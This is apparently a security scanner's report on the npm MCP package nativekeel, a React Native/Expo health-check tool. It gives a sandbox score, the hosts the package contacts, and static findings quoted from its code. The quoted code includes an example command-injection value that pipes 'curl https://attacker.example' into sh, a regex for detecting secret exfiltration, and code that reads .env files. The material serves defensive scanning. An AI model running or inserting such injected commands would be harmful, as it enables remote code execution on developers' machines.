nativekeel@0.1.134
CAUTION· startup onlyPublisher claims: "Health check for React Native and Expo apps: upgrade blockers, App Store and Google Play rejections, crash risks, security (OWASP MASVS), accessibility and performance, with a step-by-step upgrade plan." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Startup only; authenticated tool behavior not tested.- Tested
- server startup over stdio (initialize sent) · every file read, file written and host contacted by what ran
- Not tested
- the tool list (the server exited before answering) · what the tools do when called with real credentials
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
NATIVEKEEL_TOKENConfiguration, not credentials: COMPAT, NATIVEKEEL_API, NATIVEKEEL_MCP_ROOTS, NATIVEKEEL_NETWORK_BUDGET_MS, PLUGIN_ROOT- Where it talks to
- nativekeel.com (its own)Also android.com, reactnative.dev, attacker.example, google.com, expo.dev, attacker.dev, postgresql.org, githubusercontent.com, rfc-editor.org, lodash.com, reactnative.directory, unpkg.com, oasis-open.org, schemastore.org, sonarsource.com, your.domain — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- the tool list (the server exited before answering) · what the tools do when called with real credentials
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names android.com, reactnative.dev, attacker.example, google.com, expo.dev, attacker.dev, postgresql.org, githubusercontent.com, rfc-editor.org, lodash.com, reactnative.directory, unpkg.com, oasis-open.org, schemastore.org, sonarsource.com, your.domain as well as its own vendor. The guard injects NATIVEKEEL_TOKEN only into requests to nativekeel.com (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; startup only; authenticated tool behavior not tested) on 2026-11-09 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Pipe-to-shell pattern; Access to sensitive file paths; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 20 s · 2 scenarios · 0 deviationsStatic findings
// expression is pasted into the script before it runs, so a title such as `"; curl … | sh; "`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.const DEV_GUARD = /\bif\s*\(\s*(?:__DEV__|process\.env\.NODE_ENV\s*!==?\s*['"]production['"])\s*\)\s*/g;Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose./\b(?:exfiltrate|send|upload|post)\b[^.\n]{0,40}\b(?:secrets?|tokens?|credentials?|api\s*keys?|\.env|ssh\s+keys?)\b/i,Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.env: { ...env, ...GIT_ENV },Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.envFiles = fs.readdirSync(root).filter((f) => /^\.env(\.|$)/.test(f) && !/example|sample|template/i.test(f));Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.const EXTENSIONS = new Set(['.js', '.jsx', '.ts', '.tsx', '.json', '.plist', '.xml', '.gradle', '.properties', '.env', '.m', '.mm', '.swift', '.kt', '.java']);Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.if (/^\.env/.test(s.file)) {Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.'FirebaseRemoteConfig': { sdk: 'FirebaseRemoteConfig', firstWithManifest: '10.22.0' },Fix: Pin versions and sources; vendor anything fetched at install time.…sue, a comment, a branch name) can add their own commands, e.g. a title of \`"; curl https://attacker.example | sh; "\`. Pass it through env: and quote it: \`env: { TITLE: \${{ ${hits[0].expr} }…Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.…time: an EAS or CI environment variable (EXPO_PUBLIC_… or a react-native-config .env on the build machine). Anyone who downloads the app can extract it. Revoke it n…Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.// ignored .env can be compiled into the app. Returns a predicate on absolute paths; outside a gitFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.} else if (EXTENSIONS.has(path.extname(e.name)) || e.name.startsWith('.env')) {Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.npx nativekeel improve [path] Prioritized app improvement review (--json or --out)Fix: Pin versions and sources; vendor anything fetched at install time.npx nativekeel [path] Scan an app and print the reportFix: Pin versions and sources; vendor anything fetched at install time.npx nativekeel bundle [path | file.map] [--base old.map]Fix: Pin versions and sources; vendor anything fetched at install time.out.push('', c.gray(`Details for one app: npx nativekeel <path> · ${TEAMS}`));Fix: Pin versions and sources; vendor anything fetched at install time.… .join('\n'); const signedElsewhere = fs.existsSync(path.join(root, 'eas.json')) || fs.existsSync(path.join(repo, 'eas.json')) || /injected\.signing|keystore|apksigner|jarsigner|sign-android-release|upload_to_play_store|supply\(/i.test(ci)…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.…he versions or add a resolution/override so one copy remains. Rebuild and run \`npx nativekeel bundle\` to confirm.` }, }); } return { findings, measured: { file: new…Fix: Pin versions and sources; vendor anything fetched at install time.…e map; strings and bytecode metadata have no source and are not included. Run \`npx nativekeel bundle\` for the full list.`, evidence: [{ kind: 'artifact', file: newest.f…Fix: Pin versions and sources; vendor anything fetched at install time.detail: `Latest is SDK ${expo.lines[0]}. Upgrade one SDK at a time with \`npx expo install expo@^<next> --fix\`.`,Fix: Pin versions and sources; vendor anything fetched at install time.fix: ['Run npx expo install --fix.', 'Do not bump these packages past the SDK; move them with the next SDK upgrade.'],Fix: Pin versions and sources; vendor anything fetched at install time.…machine patch-package fails and the fix is silently missing. Recreate it with \`npx patch-package ${pkg} --exclude '(^package\\.json$|/build/)'\` from a clean copy.`, fi…Fix: Pin versions and sources; vendor anything fetched at install time.// In Expo projects `npx expo install` picks the version that matches the SDK.Fix: Pin versions and sources; vendor anything fetched at install time.…uild/generated/sourcemaps/react/release/index.android.bundle.map; with Expo run npx expo export --dump-sourcemap. Then call again, or pass map.' }; file = found.fil…Fix: Pin versions and sources; vendor anything fetched at install time.else console.log(output);Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.…failures and launch crashes. Set react-native to the version the SDK expects (\`npx expo install react-native\`, or \`npx expo install --fix\` for every pinned package)…Fix: Pin versions and sources; vendor anything fetched at install time.…m'], ['WebView', 'android.webkit.WebView'], ['SQLiteDatabase', 'android.database.sqlite.SQLiteDatabase'], ['ZipInputStream', 'java.util.zip.ZipInputStream'], ['TarArchiveInputStream', 'org.apache.commons.compress.archivers.tar.TarArchiveIn…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.// the key ships even though .env is not committed: anyone who unpacks the app can billFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.…), clean-build both platforms and test every screen that uses a native module. `npx nativekeel plan` lists the upgrade stops.'; return 'Apply the fix described under Why. `…Fix: Pin versions and sources; vendor anything fetched at install time.… They describe what the scan found, not a guarantee. Details for one app: <code>npx nativekeel <path> --html report.html</code>.</p><p>${esc(TEAMS)} · <a href="${SITE_U…Fix: Pin versions and sources; vendor anything fetched at install time.// A .env file reaches the bundle only through EXPO_PUBLIC_ names (Expo) or a library thatFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.expo && [/process\.env\.(EXPO_PUBLIC_[A-Z0-9_]+)/g, 'EXPO_PUBLIC_ variables are compiled into the JavaScript bundle'],Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.// Packages an Expo SDK upgrade moves on its own (`npx expo install --fix`): no separate work.Fix: Pin versions and sources; vendor anything fetched at install time.else committed.push({ where: `eas.json build.${profile}.env.${k}`, value: v });Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.const envFile = /^\.env(\.|$)/.test(path.basename(file));Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.…sue, a comment, a branch name) can add their own commands, e.g. a title of \`"; curl https://attacker.example | sh; "\`. Pass it through env: and quote it: \`env: { TITLE: \${{ ${hits[0].expr} }…Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.fix: { kind: 'crash', step: `Put react-native on the version Expo SDK ${expoSdk} expects${rc ? ' after updating expo to the latest ' + expoSdk + '.x' : ''} (\`npx expo install react-native\`).` },Fix: Pin versions and sources; vendor anything fetched at install time.…xpo: 58, kind: 'behavior', title: 'Expo CLI now sets `NODE_ENV` before loading `.env` files and the app config', action: 'Scripts that set NODE_ENV themselves no lo…Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.if (k.startsWith('EXPO_PUBLIC_')) shipped.push({ where: `eas.json build.${profile}.env.${k}`, value: v });Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.const pm = isExpo ? { ...basePm, add: 'npx expo install' } : basePm;Fix: Pin versions and sources; vendor anything fetched at install time.prerequisite: 'Confirm the installed versions and the platforms the change affects; `npx nativekeel plan` orders it with the related upgrade steps.',Fix: Pin versions and sources; vendor anything fetched at install time.const looksReal = (v) => typeof v === 'string' && v.length >= 12 && !/^\$\{|^process\.env|example|placeholder|your[_-]|xxx|changeme|<.*>/i.test(v);Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.if (pinned) expoNote = ` Expo SDK ${expoSdk} expects ${pinned}: run \`npx expo install --fix\`.`;Fix: Pin versions and sources; vendor anything fetched at install time.// Each app is scanned exactly as `npx nativekeel <app>` would; nothing is uploaded.Fix: Pin versions and sources; vendor anything fetched at install time.…OS \`open\` call (OS command injection, CVSS 9.8, GHSA-399j-vxmf-hjvr). While \`npx react-native start\` / \`expo start\` is running, any web page a developer opens can send th…Fix: Pin versions and sources; vendor anything fetched at install time.npx nativekeel upgrade [path] Readiness for the newest React Native / Expo:Fix: Pin versions and sources; vendor anything fetched at install time.return 'Apply the fix described under Why. `npx nativekeel plan` puts it in order with the upgrade steps it depends on.';Fix: Pin versions and sources; vendor anything fetched at install time.npx nativekeel security [path] Review data theft, account access and code execution risksFix: Pin versions and sources; vendor anything fetched at install time.// attacker input to an OS `open` call, so any page a developer visits while `npx react-native start`Fix: Pin versions and sources; vendor anything fetched at install time.// expression is pasted into the script before it runs, so a title such as `"; curl … | sh; "`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.…po`), then make a new development build (`eas build --profile development`, or `npx expo run:ios` / `npx expo run:android`). Expo Go cannot test this switch.'); } e…Fix: Pin versions and sources; vendor anything fetched at install time.…s ${apps.length === 1 ? 'one' : apps.length}:\n${apps.slice(0, 8).map((a) => ` npx nativekeel ${a}`).join('\n')}${apps.length > 8 ? '\n …' : ''}`); } throw new Erro…Fix: Pin versions and sources; vendor anything fetched at install time.…e)})</span></li>`).join('')}</ol><p class="muted">The full, ordered plan: <code>npx nativekeel plan</code>.</p></section>` : ''} ${result.security ? `<section class="sec"><h2…Fix: Pin versions and sources; vendor anything fetched at install time.const needsExpo = to && to.startsWith('expo-') && !usesExpoModules ? ' (Expo packages need Expo modules first: `npx install-expo-modules@latest`)' : '';Fix: Pin versions and sources; vendor anything fetched at install time.…tep: `Add Sign in with Apple next to ${which} on iOS (${project.expoVersion ? '`npx expo install expo-apple-authentication`' : '`@invertase/react-native-apple-authentic…Fix: Pin versions and sources; vendor anything fetched at install time.fix: { kind: 'crash', step: `Install \`react-native-worklets\` (${project.expoVersion ? '`npx expo install react-native-worklets`' : 'the version that matches Reanimated'}).` },Fix: Pin versions and sources; vendor anything fetched at install time.lines.push(`<sub>Generated by [NativeKeel](${SITE_URL}) · \`npx nativekeel plan\` for a step-by-step upgrade plan</sub>`);Fix: Pin versions and sources; vendor anything fetched at install time.fix: { kind: 'crash', step: `Add \`'${plugin}'\` as the last Babel plugin, then \`npx react-native start --reset-cache\`.` },Fix: Pin versions and sources; vendor anything fetched at install time.cleanup.push(`Recreate \`patches/${p.file}\` without build output: reinstall \`${p.pkg}\`, re-apply the source edits, then \`npx patch-package ${p.pkg} --exclude '(^package\\.json$|/build/)'\`.`);Fix: Pin versions and sources; vendor anything fetched at install time.… && names.length > 6 ? `, … (${names.length - 6} more with --verbose)` : ''}. \`npx expo install --fix\` sets the versions the new SDK expects.`)); } out.push('…Fix: Pin versions and sources; vendor anything fetched at install time.…ripts that set NODE_ENV themselves no longer pick the .env file: `NODE_ENV=test npx expo start` loads .env.development. Switch environments with your own variable (APP_…Fix: Pin versions and sources; vendor anything fetched at install time.**Any other agent**, no MCP needed: add this line to your project's `AGENTS.md` or `CLAUDE.md`:Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.out.push(`Next: ${c.bold('npx nativekeel plan')} writes the full step-by-step plan.`);Fix: Pin versions and sources; vendor anything fetched at install time.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for nativekeel@0.1.134 as of 5d ago. This is the package itself, not its dependencies.
What would make this Verified
12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- Unclaimed publisher≈ +8 on the totalClaim alicanakyol: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Auto-update or dynamic fetch configuration≈ +4 on the totalPin versions and sources; vendor anything fetched at install time.
- npx invocation of non-well-known package≈ +2 on the totalPin versions and sources; vendor anything fetched at install time.
- File type combined with upload action≈ +2 on the totalRemove the call, or declare the host in frontmatter and explain in the README what is sent and why.